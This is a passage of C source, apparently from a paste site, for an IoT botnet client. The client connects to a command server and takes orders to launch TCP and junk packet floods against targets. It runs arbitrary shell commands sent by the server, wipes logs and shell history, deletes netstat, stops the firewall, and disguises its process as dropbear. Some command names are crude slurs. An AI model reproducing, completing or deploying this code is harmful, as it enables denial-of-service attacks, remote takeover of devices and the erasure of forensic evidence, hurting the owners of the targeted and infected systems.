  1543.                                         sendJUNK(hi, port, time);
  1544.                                         sendHOLD(hi, port, time);
  1545.                                         close(mainCommSock);
  1546.                                         _exit(0);
  1547.                                 }
  1548.                                 hi = strtok(NULL, ",");
  1549.                         }
  1550.                 } else {
  1551.                         if (listFork()) { return; }
  1552.  
  1553.                         sendJUNK(ip, port, time);
  1554.                         sendHOLD(ip, port, time);
  1555.                         _exit(0);
  1556.                 }
  1557.         }
  1558.        
  1559.         if(!strcmp(argv[0], "TCP")) {   /* TCPFLOOD TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL */
  1560.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1)){
  1561.                         return;
  1562.                 }
  1563.                 unsigned char *ip = argv[1];
  1564.                 int port = atoi(argv[2]);
  1565.                 int time = atoi(argv[3]);
  1566.                 unsigned char *flags = argv[4];
  1567.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1568.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1569.                 int spoofed = 32;
  1570.                 if(strstr(ip, ",") != NULL) {
  1571.                         unsigned char *hi = strtok(ip, ",");
  1572.                         while(hi != NULL) {
  1573.                                 if(!listFork()) {
  1574.                                         sendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1575.                                         _exit(0);
  1576.                                 }
  1577.                                 hi = strtok(NULL, ",");
  1578.                         }
  1579.                 } else  {
  1580.                         if (listFork()) { return; }
  1581.                         sendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1582.                         _exit(0);
  1583.                         }
  1584.         }
  1585.     if(!strcmp(argv[0], "KILLATTK"))
  1586.         {
  1587.                 int killed = 0;
  1588.                 unsigned long i;
  1589.                 for (i = 0; i < numpids; i++) {
  1590.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1591.                                 kill(pids[i], 9);
  1592.                                 killed++;
  1593.                         }
  1594.                 }
  1595.         }
  1596.  
  1597.         if(!strcmp(argv[0], "GTFOFAG"))
  1598.         {
  1599.                 exit(0);
  1600.         }
  1601.        
  1602.         if(!strcmp(argv[0], "FATCOCK"))
  1603.         {
  1604.                 system("rm -rf /var/log/wtmp");
  1605.                 system("rm -rf /tmp/*");
  1606.                 system("history -c");
  1607.                 system("rm -rf ~/.bash_history");
  1608.                 system("rm -rf /bin/netstat");
  1609.                 system("history -w");
  1610.                 system("killall -9 perl");
  1611.                 system("service iptables stop");
  1612.         }
  1613.        
  1614. }
  1615.  
  1616. int initConnection()
  1617. {
  1618.         unsigned char server[4096];
  1619.         memset(server, 0, 4096);
  1620.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1621.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1622.         else currentServer++;
  1623.  
  1624.         strcpy(server, commServer[currentServer]);
  1625.         int port = 23;
  1626.         if(strchr(server, ':') != NULL)
  1627.         {
  1628.                 port = atoi(strchr(server, ':') + 1);
  1629.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1630.         }
  1631.  
  1632.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1633.  
  1634.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1635.  
  1636.         return 0;
  1637. }
  1638.  
  1639. int getOurIP()
  1640. {
  1641.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1642.         if(sock == -1) return 0;
  1643.  
  1644.         struct sockaddr_in serv;
  1645.         memset(&serv, 0, sizeof(serv));
  1646.         serv.sin_family = AF_INET;
  1647.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1648.         serv.sin_port = htons(53);
  1649.  
  1650.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1651.         if(err == -1) return 0;
  1652.  
  1653.         struct sockaddr_in name;
  1654.         socklen_t namelen = sizeof(name);
  1655.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1656.         if(err == -1) return 0;
  1657.  
  1658.         ourIP.s_addr = name.sin_addr.s_addr;
  1659.  
  1660.         int cmdline = open("/proc/net/route", O_RDONLY);
  1661.         char linebuf[4096];
  1662.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  1663.         {
  1664.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  1665.                 {
  1666.                         unsigned char *pos = linebuf;
  1667.                         while(*pos != '\t') pos++;
  1668.                         *pos = 0;
  1669.                         break;
  1670.                 }
  1671.                 memset(linebuf, 0, 4096);
  1672.         }
  1673.         close(cmdline);
  1674.  
  1675.         if(*linebuf)
  1676.         {
  1677.                 int i;
  1678.                 struct ifreq ifr;
  1679.                 strcpy(ifr.ifr_name, linebuf);
  1680.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  1681.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1682.         }
  1683.  
  1684.         close(sock);
  1685. }
  1686.  
  1687. char *getBuild()
  1688. {
  1689.     #ifdef MIPS_BUILD
  1690.     return "MIPS";
  1691.     #elif MIPSEL_BUILD
  1692.     return "MIPSEL";
  1693.     #elif X86_BUILD
  1694.     return "X86";
  1695.     #elif ARM_BUILD
  1696.     return "ARM";
  1697.     #elif PPC_BUILD
  1698.     return "PPC";
  1699.     #else
  1700.     return "RAZER";
  1701.     #endif
  1702. }
  1703.  
  1704. int main(int argc, unsigned char *argv[])
  1705. {
  1706.         char *mynameis = "/usr/sbin/dropbear";
  1707.         if(SERVER_LIST_SIZE <= 0) return 0;
  1708.     printf("BUILD %s\n", getBuild());
  1709.     strncpy(argv[0],"",strlen(argv[0]));
  1710.         argv[0] = "/usr/sbin/dropbear";
  1711.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1712.     srand(time(NULL) ^ getpid());
  1713.         init_rand(time(NULL) ^ getpid());
  1714.         pid_t pid1;
  1715.         pid_t pid2;
  1716.         int status;
  1717.  
  1718.         getOurIP();
  1719.  
  1720.         if (pid1 = fork()) {
  1721.                         waitpid(pid1, &status, 0);
  1722.                         exit(0);
  1723.         } else if (!pid1) {
  1724.                         if (pid2 = fork()) {
  1725.                                         exit(0);
  1726.                         } else if (!pid2) {
  1727.                         } else {
  1728.                                         //zprintf("fork failed\n");
  1729.                         }
  1730.         } else {
  1731.                         //zprintf("fork failed\n");
  1732.         }
  1733.  
  1734.         setsid();
  1735.         chdir("/");
  1736.  
  1737.         signal(SIGPIPE, SIG_IGN);
  1738.  
  1739.         while(1)
  1740.         {
  1741.                 if(initConnection()) { sleep(5); continue; }
  1742.  
  1743.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1744.  
  1745.                 char commBuf[4096];
  1746.                 int got = 0;
  1747.                 int i = 0;
  1748.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1749.                 {
  1750.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1751.                                 unsigned int *newpids, on;
  1752.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1753.                                 pids[on - 1] = 0;
  1754.                                 numpids--;
  1755.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1756.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1757.                                 free(pids);
  1758.                                 pids = newpids;
  1759.                         }
  1760.  
  1761.                         commBuf[got] = 0x00;
  1762.  
  1763.                         trim(commBuf);
  1764.  
  1765.                         if(strstr(commBuf, "PING") == commBuf)
  1766.                         {
  1767.                                 sockprintf(mainCommSock, "PONG");
  1768.                                 continue;
  1769.                         }
  1770.  
  1771.                         if(strstr(commBuf, "DUPPP") == commBuf) exit(0);
  1772.  
  1773.                         unsigned char *message = commBuf;
  1774.  
  1775.                         if(*message == '!')
  1776.                         {
  1777.                                 unsigned char *nickMask = message + 1;
  1778.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1779.                                 if(*nickMask == 0x00) continue;
  1780.                                 *(nickMask) = 0x00;
  1781.                                 nickMask = message + 1;
  1782.  
  1783.                                 message = message + strlen(nickMask) + 2;
  1784.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1785.  
  1786.                                 unsigned char *command = message;
  1787.                                 while(*message != ' ' && *message != 0x00) message++;
  1788.                                 *message = 0x00;
  1789.                                 message++;
  1790.  
  1791.                                 unsigned char *tmpcommand = command;
  1792.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1793.  
  1794.                                 if(strcmp(command, "SH") == 0)
  1795.                                 {
  1796.                                         unsigned char buf[1024];
  1797.                                         int command;
  1798.                                         if (listFork()) continue;
  1799.                                         memset(buf, 0, 1024);
  1800.                                         szprintf(buf, "%s 2>&1", message);
  1801.                                         command = fdpopen(buf, "r");
  1802.                                         while(fdgets(buf, 1024, command) != NULL)
  1803.                                         {
  1804.                                                 trim(buf);
  1805. //                                                sockprintf(mainCommSock, "%s", buf);
  1806.                                                 memset(buf, 0, 1024);
  1807.                                                 sleep(1);
  1808.                                         }
  1809.                                         fdpclose(command);
  1810.                                         exit(0);
  1811.                                 }
  1812.  
  1813.                                 unsigned char *params[10];
  1814.                                 int paramsCount = 1;
  1815.                                 unsigned char *pch = strtok(message, " ");
  1816.                                 params[0] = command;
  1817.  
  1818.                                 while(pch)
  1819.                                 {
  1820.                                         if(*pch != '\n')
  1821.                                         {
  1822.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1823.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1824.                                                 strcpy(params[paramsCount], pch);
  1825.                                                 paramsCount++;
  1826.                                         }
  1827.                                         pch = strtok(NULL, " ");
  1828.                                 }
  1829.  
  1830.                                 processCmd(paramsCount, params);
  1831.  
  1832.                                 if(paramsCount > 1)
  1833.                                 {
  1834.                                         int q = 1;
  1835.                                         for(q = 1; q < paramsCount; q++)
  1836.                                         {
  1837.                                                 free(params[q]);
  1838.                                         }
  1839.                                 }
  1840.                         }
  1841.                 }
  1842.                 //printf("Link closed by server.\n");
  1843.         }
  1844.  
  1845.         return 0;
  1846. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement